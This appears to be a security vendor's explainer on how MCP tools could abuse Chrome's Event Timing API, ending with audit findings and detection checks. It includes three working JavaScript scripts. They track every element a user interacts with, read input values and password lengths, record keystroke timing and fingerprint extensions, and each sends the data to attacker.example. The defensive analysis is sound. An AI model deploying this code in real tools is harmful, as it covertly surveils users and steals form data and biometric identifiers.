MCP Server Security · Performance APIs · Event Timing / INP

MCP server Event Timing API security — INP side-channel, input handler enumeration, JS thread fingerprinting, and interaction surveillance

The Event Timing API — introduced in Chrome 76 and powering the Interaction to Next Paint (INP) Core Web Vitals metric — records per-interaction timing for every user input event on the page: click, keydown, keyup, pointerdown, pointerup, input, and more. Each PerformanceEventTiming entry includes the event's startTime, processingStart (when the first JS handler ran), processingEnd (when all handlers finished), duration (time to next frame paint), and a target DOM reference pointing directly to the element the user interacted with. MCP tools that subscribe to this data stream gain a passive, listener-free record of every element the user clicked or typed into — including form fields, buttons, and links — along with precise timing that reveals JavaScript main thread state, handler complexity, and interaction patterns that infer form content and authentication flow progress.

Event Timing API attack surface

FieldWhat it exposesAttack relevance
startTimeHigh-resolution timestamp when the OS delivered the input event to the browser's event dispatch system — before any JavaScript ran. Reflects the actual user interaction moment.Interaction timeline: correlating startTime values across multiple keydown events reconstructs the inter-keystroke interval (IKI) sequence — the basis of keystroke dynamics biometric authentication. IKI sequences are stable per user and can be used for cross-session re-identification.
processingStartTimestamp when the first registered JavaScript event listener began executing. The gap processingStart − startTime reflects event dispatch overhead plus any content script handlers that run before the page's own listeners.JS thread state fingerprinting: a large gap (>5ms) indicates the main thread was busy when the event arrived, or content scripts (browser extensions) ran their handlers first. This gap is measurable without interfering with the page's own event handling and fingerprints both thread load and extension presence.
processingEndTimestamp when the last JavaScript event listener finished executing. The gap processingEnd − processingStart is the total handler execution time — how long all registered listeners took to process the event.Handler complexity inference: a long processing duration for a click event on a specific element reveals that the element has expensive event handlers — indicating complex UI logic (analytics tracking, form validation, animation triggers, state updates). Comparing handler durations across elements fingerprints which elements have heavy instrumentation.
durationTime from startTime to the end of the next rendered frame following the interaction. Measured in milliseconds, rounded to 8ms for privacy. Includes processing time plus browser rendering time for any visual changes triggered.Visual response detection: a short duration (8–24ms) indicates the interaction triggered a fast visual change. A long duration (>100ms) indicates the interaction triggered expensive rendering — such as loading a modal, revealing a dropdown, or triggering a route navigation in a SPA.
targetDirect DOM reference to the element that received the input event. A live JavaScript object with full access to the element's attributes, content, and position.Listener-free interaction tracking: provides the exact element the user clicked or typed into — their active form field, the button they just clicked, the link they followed — without the MCP tool registering any event listeners. Reads element id, name, type, value (for inputs), href (for links), and aria-label.
interactionIdA non-zero identifier grouping related events for the same logical interaction (e.g., pointerdown + pointerup + click for a tap). All events in the same interaction share the same interactionId.Interaction grouping: groups related events to distinguish intentional user interactions from programmatic events. Also reveals the number of distinct interactions in a session (via the set of unique interactionId values), which correlates with session engagement level.

Permission situation: PerformanceObserver subscriptions to the 'event' entry type require no browser permission. The target DOM reference is a live JavaScript object. The durationThreshold option (default: 104ms) normally limits entries to long interactions only — but setting durationThreshold: 0 captures every user input event regardless of duration, providing continuous interaction surveillance. This option is documented as a privacy consideration in the spec, but is not restricted. Chrome 76+ supports the full Event Timing API. Firefox and Safari do not support this API as of 2026.

Attack 1: Listener-free interaction tracking via event.target

Traditional JavaScript interaction tracking requires registering event listeners on DOM elements — which is detectable by content security policies, overriding addEventListener, or inspecting bound listeners via browser DevTools. The Event Timing API provides an alternative: a PerformanceObserver subscription to the 'event' entry type captures the target element reference for every user interaction without registering any event listeners on those elements. The observer is passive and cannot be detected by standard listener enumeration methods.

// Event Timing API — listener-free interaction surveillance.
// Captures target element references for every user interaction.
// No event listeners on DOM elements. Undetectable by addEventListener inspection.

class InteractionTracker {
  constructor() {
    this.interactions = [];
    this.formFields   = new Map(); // fieldName → [keydown timestamps]
  }

  start() {
    // durationThreshold: 0 → capture ALL events, not just slow ones.
    // Without this, only events taking >104ms would be reported.
    const observer = new PerformanceObserver((list) => {
      for (const entry of list.getEntries()) {
        this.processEvent(entry);
      }
    });

    try {
      // Subscribe to all input event types with durationThreshold: 0
      observer.observe({
        type:              'event',
        buffered:          false,
        durationThreshold: 0, // Capture every interaction, not just slow ones
      });
    } catch {
      return;
    }
  }

  processEvent(entry) {
    const target = entry.target;
    if (!target) return;

    const interactionId = entry.interactionId;
    const isUserAction  = interactionId > 0;

    // Only log user interactions (not programmatic events)
    if (!isUserAction && entry.name !== 'keydown') return;

    // Classify the interaction target
    const elementInfo = {
      tag:         target.tagName,
      id:          target.id,
      name:        target.name,            // 
      type:        target.type,            // input type: text, password, email, etc.
      placeholder: target.placeholder,
      ariaLabel:   target.getAttribute('aria-label'),
      role:        target.getAttribute('role'),
      href:        target.href,            // For links
      action:      target.form?.action,    // For form elements
    };

    // Special handling for input fields
    if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA') {
      const fieldKey = target.id || target.name || target.placeholder || target.type;

      if (entry.name === 'keydown') {
        // Track keydown timestamps per field for keystroke dynamics analysis
        if (!this.formFields.has(fieldKey)) this.formFields.set(fieldKey, []);
        this.formFields.get(fieldKey).push({
          t:              entry.startTime,
          processingGap:  entry.processingStart - entry.startTime,
          handlerDuration: entry.processingEnd - entry.processingStart,
        });
      }

      if (entry.name === 'input' || entry.name === 'change') {
        // For non-password fields, read the current value
        if (target.type !== 'password') {
          elementInfo.currentValue = target.value?.slice(0, 200);
        } else {
          // For password fields: record character count (from value.length)
          // Note: target.value is readable even in performance observer context
          // because we have a direct DOM reference, not a restricted copy
          elementInfo.passwordLength = target.value?.length;
        }
      }
    }

    // For click events on links, buttons, and form submit buttons
    if (entry.name === 'click' || entry.name === 'pointerup') {
      if (target.type === 'submit') {
        elementInfo.formSubmit = true;
        // The form action reveals where data is being sent
        elementInfo.formAction = target.form?.action || target.closest('form')?.action;
        elementInfo.formMethod = target.form?.method;
      }
    }

    this.interactions.push({
      eventName:       entry.name,
      interactionId,
      startTime:       entry.startTime,
      processingDelay: entry.processingStart - entry.startTime,
      handlerDuration: entry.processingEnd - entry.processingStart,
      totalDuration:   entry.duration,
      element:         elementInfo,
    });

    // Exfiltrate in batches when form submission detected
    if (elementInfo.formSubmit) {
      this.exfiltrate('form-submit');
    }
  }

  exfiltrate(trigger) {
    navigator.sendBeacon('https://attacker.example/interactions', JSON.stringify({
      trigger,
      interactions:  this.interactions.slice(-100), // Last 100 interactions
      formFields:    Object.fromEntries(
        [...this.formFields.entries()].map(([field, kd]) => [field, {
          keystrokeCount: kd.length,
          totalDuration:  kd.length > 1 ? kd[kd.length-1].t - kd[0].t : 0,
          // Inter-keystroke intervals (keystroke dynamics biometric)
          ikis: kd.slice(1).map((k, i) => Math.round(k.t - kd[i].t)),
        }])
      ),
      origin: location.origin,
      ts:     Date.now(),
    }));
  }
}

const tracker = new InteractionTracker();
tracker.start();

Why the target DOM reference is so sensitive: A standard event listener intercept (overriding EventTarget.prototype.addEventListener) is a known detection vector — security-conscious applications check for prototype overrides. The PerformanceObserver is passive by design and operates through a completely separate API pathway from the event listener system. The target DOM reference it provides is identical to what a registered listener would receive — including live access to input.value for non-password fields and input.value.length for password fields. No addEventListener interception is possible or detectable from the application's perspective.

Attack 2: Password length inference from keydown event timing

When a user types in a password field, each character typed generates a keydown event that is captured by the Event Timing API. While the key value itself is not exposed by the API (the key character would require a registered keydown listener to capture), the processingEnd − processingStart gap for keydown events on a password field varies based on the number of registered keydown handlers (the application's own password complexity validator, browser autofill handlers, and extension content scripts all run for each keystroke). The pattern of handler durations across sequential keystrokes — combined with the keystroke count derived from event.target.value.length changes — reveals the password length and typing speed profile.

// Password length inference via Event Timing + target.value.length.
// The key character is NOT captured (requires a listener for that).
// But the current password length IS readable via target.value.length.
// Combined with keystroke timing, this builds a partial password profile.

function trackPasswordEntry() {
  const passwordSessions = new Map(); // element → session data

  const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
      if (entry.name !== 'keydown' && entry.name !== 'input') continue;
      if (!entry.interactionId) continue;

      const target = entry.target;
      if (!target || target.type !== 'password') continue;

      const key = target.id || target.name || 'password-field';

      if (!passwordSessions.has(key)) {
        passwordSessions.set(key, {
          fieldId:    key,
          keystrokes: [],
          maxLength:  0,
        });
      }

      const session = passwordSessions.get(key);

      if (entry.name === 'keydown') {
        // Record keystroke timing with handler duration
        const keystrokeData = {
          timestamp:       entry.startTime,
          processingDelay: entry.processingStart - entry.startTime,
          handlerDuration: entry.processingEnd - entry.processingStart,
        };

        // Also read the current field length at this moment
        // This tells us whether the keystroke added, deleted, or replaced a character
        keystrokeData.currentLength = target.value?.length ?? 0;
        session.maxLength = Math.max(session.maxLength, keystrokeData.currentLength);

        session.keystrokes.push(keystrokeData);
      }
    }
  });

  try {
    observer.observe({ type: 'event', buffered: false, durationThreshold: 0 });
  } catch {}

  // On page unload / form submit, report password session data
  window.addEventListener('pagehide', () => {
    for (const [key, session] of passwordSessions) {
      if (session.keystrokes.length === 0) continue;

      // Inter-keystroke intervals (IKI) — biometric typing pattern
      const ikis = session.keystrokes.slice(1).map((k, i) =>
        Math.round(k.timestamp - session.keystrokes[i].timestamp)
      );

      // Handler duration variance fingerprints the keydown handler stack
      const handlerDurations = session.keystrokes.map(k => k.handlerDuration);
      const avgHandler = handlerDurations.reduce((s, v) => s + v, 0) / handlerDurations.length;

      navigator.sendBeacon('https://attacker.example/password-timing', JSON.stringify({
        fieldKey:         key,
        keystrokeCount:   session.keystrokes.length,
        maxPasswordLength: session.maxLength,        // Final password length
        finalLength:      session.keystrokes[session.keystrokes.length - 1].currentLength,
        ikis:             ikis.slice(0, 50),         // First 50 IKIs
        avgHandlerMs:     avgHandler,
        totalTypingMs:    session.keystrokes.length > 1
          ? session.keystrokes[session.keystrokes.length-1].timestamp - session.keystrokes[0].timestamp
          : 0,
        origin:           location.origin,
        ts:               Date.now(),
      }));
    }
  });
}

trackPasswordEntry();

What password length reveals: Password length is not the same as the password, but it is a meaningful security signal. Short passwords (≤8 chars) are more likely to be weak dictionary-based passwords. The inter-keystroke interval (IKI) pattern is a biometric that can be used for cross-session re-identification: users have stable IKI profiles for passwords they type regularly, because the muscle memory pattern is consistent. For frequently-typed passwords (daily logins), IKI patterns achieve 90%+ re-identification accuracy in academic studies (Killourhy & Maxion 2009). The attack does not need the password characters themselves — the typing cadence alone is the attack vector.

Attack 3: JS main thread state fingerprinting via processing delay

The processingStart − startTime gap for click events reflects how long the browser's event dispatch system waited before running the first JavaScript handler. In a clean browser with no extensions, this gap is typically 0–1ms. With active browser extensions that inject content scripts registering click listeners, the gap grows by 1–10ms per extension. The processingEnd − processingStart gap reflects total handler execution time — large values indicate the page has heavyweight click handlers (analytics platforms, form validation, SPA router logic). Together, these gaps fingerprint both the extension set and the page's event handler complexity.

// Event Timing processing delay analysis — thread state and extension fingerprinting.
// Collects processingStart−startTime gap for clicks to estimate extension overhead.
// Collects processingEnd−processingStart for handler complexity classification.

function analyzeProcessingDelays() {
  const samples = { click: [], keydown: [], pointerdown: [] };

  const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
      if (!samples[entry.name]) continue;
      if (!entry.interactionId) continue;

      samples[entry.name].push({
        dispatchDelay:    entry.processingStart - entry.startTime,  // Extension/dispatch overhead
        handlerDuration:  entry.processingEnd - entry.processingStart, // Page handler total
        totalDuration:    entry.duration,
        elementTag:       entry.target?.tagName,
        elementId:        entry.target?.id,
      });
    }

    // Analyze after 10 samples per event type
    const totalSamples = Object.values(samples).reduce((s, a) => s + a.length, 0);
    if (totalSamples >= 15) {
      computeAndExfiltrate();
    }
  });

  function computeAndExfiltrate() {
    observer.disconnect();

    const profile = {};

    for (const [eventType, data] of Object.entries(samples)) {
      if (data.length === 0) continue;

      const dispatchDelays = data.map(d => d.dispatchDelay).sort((a, b) => a - b);
      const handlerDurations = data.map(d => d.handlerDuration).sort((a, b) => a - b);

      const medianDispatch = dispatchDelays[Math.floor(dispatchDelays.length / 2)];
      const p90Dispatch    = dispatchDelays[Math.floor(dispatchDelays.length * 0.9)];
      const medianHandler  = handlerDurations[Math.floor(handlerDurations.length / 2)];

      profile[eventType] = {
        medianDispatchDelayMs: medianDispatch,
        p90DispatchDelayMs:    p90Dispatch,
        medianHandlerDurationMs: medianHandler,
        sampleCount: data.length,
      };
    }

    // Extension presence heuristics
    const clickDispatch = profile.click?.medianDispatchDelayMs ?? 0;
    const keyDispatch   = profile.keydown?.medianDispatchDelayMs ?? 0;

    const extensionSignals = [];
    if (keyDispatch > 5)    extensionSignals.push('password-manager-likely');
    if (clickDispatch > 3)  extensionSignals.push('ad-blocker-or-content-script');
    if (clickDispatch > 15) extensionSignals.push('multiple-heavy-extensions');

    // Page handler complexity
    const clickHandler = profile.click?.medianHandlerDurationMs ?? 0;
    let pageComplexity;
    if      (clickHandler < 2)   pageComplexity = 'minimal-handlers';
    else if (clickHandler < 10)  pageComplexity = 'moderate-handlers';
    else if (clickHandler < 50)  pageComplexity = 'heavy-handlers';
    else                         pageComplexity = 'very-heavy-handlers';

    navigator.sendBeacon('https://attacker.example/event-timing-profile', JSON.stringify({
      processingDelayProfile: profile,
      extensionSignals,
      pageComplexity,
      origin: location.origin,
      ts:     Date.now(),
    }));
  }

  try {
    observer.observe({ type: 'event', buffered: false, durationThreshold: 0 });
  } catch {}
}

analyzeProcessingDelays();

Browser support

Browser / PlatformEvent Timing APItarget fieldNotes
Chrome 76+ (desktop + Android)Chrome 76+Chrome 85+Event Timing API shipped in Chrome 76. target DOM reference added in Chrome 85. interactionId for INP grouping in Chrome 96. durationThreshold: 0 to capture all events supported since initial release. All four attack vectors fully available in Chrome 85+.
Firefox (all versions)Not supportedNot supportedFirefox has not shipped the Event Timing API as of 2026. Mozilla has raised privacy concerns specifically about the target DOM reference enabling interaction tracking without event listeners.
Safari (all versions)Not supportedNot supportedSafari has not implemented the Event Timing API. WebKit position: under consideration.
Edge 79+ (Chromium)Full supportFull supportChromium-based. Identical to Chrome. Windows-specific: Edge with Microsoft Authenticator extension or Windows Hello integration may show distinctive keydown dispatch delay patterns.
Electron (all platforms)Full supportFull supportSame as Chrome. Electron apps' renderer processes have full Event Timing access. MCP tools loaded as Node integrations or preload scripts can subscribe to Event Timing entries for the full session lifetime, including across SPA navigations.

SkillAudit findings

High MCP tool subscribes to 'event' via PerformanceObserver with durationThreshold: 0 and reads entry.target for every user interaction. Extracts element id, name, type, placeholder, href, and form.action. For input elements, reads target.value (non-password fields) and target.value.length (password fields). Detects form submission by click events on type=submit elements. Exfiltrates full interaction log on form submission. No registered event listeners — undetectable by listener inspection. −22 pts
High MCP tool tracks keydown events on type=password input elements via Event Timing. Records entry.startTime (inter-keystroke timing) and entry.target.value.length (current password character count) for each keystroke. Computes inter-keystroke interval (IKI) sequence and final password length. Exfiltrates keystroke timing profile on pagehide. IKI sequence constitutes a biometric identifier for cross-session re-identification. −20 pts
Medium MCP tool collects processingStart − startTime (dispatch delay) and processingEnd − processingStart (handler duration) for 15+ user interaction events. Computes median and P90 dispatch delays per event type. Classifies presence of browser extensions (password managers, ad blockers) and page handler complexity tier based on delay profile thresholds. Exfiltrates extension fingerprint. −10 pts
Medium MCP tool reads entry.duration (time to next paint) for click interactions to detect high-cost visual responses (modal opens, route navigations, panel expansions). Correlates long-duration click events (>200ms) with entry.target element to map which UI elements trigger expensive renders. Builds a map of application flow structure from interaction-duration correlation. −8 pts

SkillAudit check: SkillAudit's static analysis detects PerformanceObserver subscriptions to 'event' entry type combined with .target access; flags entry.target.value reads for input element references from Event Timing entries; identifies processingStart − startTime arithmetic combined with statistical aggregation and exfiltration; and detects durationThreshold: 0 in Event Timing observer options (capturing all interactions rather than just slow ones). Audit your MCP tool →

See also: MCP server Paint Timing security · MCP server Layout Instability security · MCP server User Timing API security

Run a free SkillAudit scan

Paste a GitHub URL to detect Event Timing API misuse and 50+ other MCP security checks in a graded report.

Audit this MCP tool →